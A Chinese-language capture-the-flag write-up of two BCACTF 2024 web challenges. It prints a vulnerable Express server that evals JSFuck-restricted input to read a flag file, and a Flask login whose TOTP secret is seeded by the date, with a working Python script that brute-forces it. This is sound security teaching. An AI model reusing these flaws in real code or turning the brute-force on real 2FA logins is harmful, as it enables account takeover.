BCACTF2024 web

秋雨样 · 2026-4-23  · 次阅读


[BCACTF 2024]JSLearning.com

后端代码

import express from 'npm:express@4.18.2'

const app = express();

const flag = Deno.readTextFileSync('flag.txt')

app.use(express.text())

app.use("/", express.static("static"));

app.post("/check", (req, res) => {

    let d = req.body;
    let out = "";
    for (let i of ["[", "]", "(", ")", "+", "!"]) {
        d = d.replaceAll(i, "");
    }
    if (d.trim().length) {
        res.send("ERROR: disallowed characters. Valid characters: '[', ']', '(', ')', '+', and '!'.");
        return;
    }

    let c;
    try {
        c = eval(req.body).toString();
    } catch (e) {
        res.send("An error occurred with your code.");
        return
    }

    // disallow code execution
    try {
        if (typeof (eval(c)) === "function") {
            res.send("Attempting to abuse javascript code against jslearning.site is not allowed under our terms and conditions.");
            return
        }
    } catch (e) { }


    out += "Checking the string " + c + "...|";
    if (c === "fun") {
        out += 'Congratulations! You win the level!';
    } else {
        out += "Unfortunately, you are incorrect. Try again.";
    }
    res.send(out);
});

const server = app.listen(0, () => console.log(server.address().port))

我们可以看到其主要限制为只允许存在字符’[‘, ‘]’, ‘(‘, ‘)’, ‘+’, 和 ‘!’。
所以我们可以使用js fuck代码

https://jsfuck.com/

读取flag的代码也给了Deno.readTextFileSync('flag.txt')直接输入就能得到

[BCACTF 2024]MOC, Inc.

题目描述

Towards the end of last month, we started receiving reports about
suspicious activity coming from a company called MOC, Inc. Our
investigative team has tracked down their secret company portal and
cracked the credentials to the admin account, but could not bypass
the advanced 2FA system. Can you find your way in?

username: admin
password: admin

思路

题目url:https://www.nssctf.cn/problem/6976

后端:

from flask import Flask, request, render_template

import datetime
import sqlite3
import random
import pyotp
import sys

random.seed(datetime.datetime.today().strftime('%Y-%m-%d'))

app = Flask(__name__)

@app.get('/')
def index():
    return render_template('index.html')

@app.post('/')
def log_in():
    with sqlite3.connect('moc-inc.db') as db:
        result = db.cursor().execute(
            'SELECT totp_secret FROM user WHERE username = ? AND password = ?',
            (request.form['username'], request.form['password'])
        ).fetchone()

    if result == None:
        return render_template('portal.html', message='Invalid username/password.')

    totp = pyotp.TOTP(result[0])

    if totp.verify(request.form['totp']):
        with open('../flag.txt') as file:
            return render_template('portal.html', message=file.read())

    return render_template('portal.html', message='2FA code is incorrect.')

with sqlite3.connect('moc-inc.db') as db:
    db.cursor().execute('''CREATE TABLE IF NOT EXISTS user (
        username TEXT UNIQUE NOT NULL,
        password TEXT NOT NULL,
        totp_secret TEXT NOT NULL
    )''')
    db.commit()

if __name__ == '__main__':
    if len(sys.argv) == 3:
        SECRET_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'

        totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])

        with sqlite3.connect('moc-inc.db') as db:
            db.cursor().execute('''INSERT INTO user (
                username,
                password,
                totp_secret
            ) VALUES (?, ?, ?)''', (sys.argv[1], sys.argv[2], totp_secret))
            db.commit()

        print('Created user:')
        print('  Username:\t' + sys.argv[1])
        print('  Password:\t' + sys.argv[2])
        print('  TOTP Secret:\t' + totp_secret)

        exit(0)

    app.run()

漏洞主要在于totp_secret可以被爆破出来,因为datetime.datetime.today().strftime('%Y-%m-%d')返回的是类似与2026-04-24的值

那么这个比赛是2024的,所以我们可以直接爆破月和日,写个脚本就行大小也不大

payload

import random
import pyotp
import sys
import requests
url = "http://node1.anna.nssctf.cn:24062/"

for i in range(12):
    for j in range(31):
        date= '2024-{:02d}-{:02d}'.format(i+1, j+1)
        random.seed(date)
        SECRET_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
        totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])
        totp = pyotp.TOTP(totp_secret)
        data = {
            "username": "admin",
            "password": "admin",
            "totp": totp.now()
        }
        response = requests.post(url, data=data)
        if "NSSCTF" in response.text:
            print(response.text)
            sys.exit(0)
        if "incorrect" not in response.text:
            print("Unexpected response:", response.text)

TO BE CONTINUED


一个好奇的人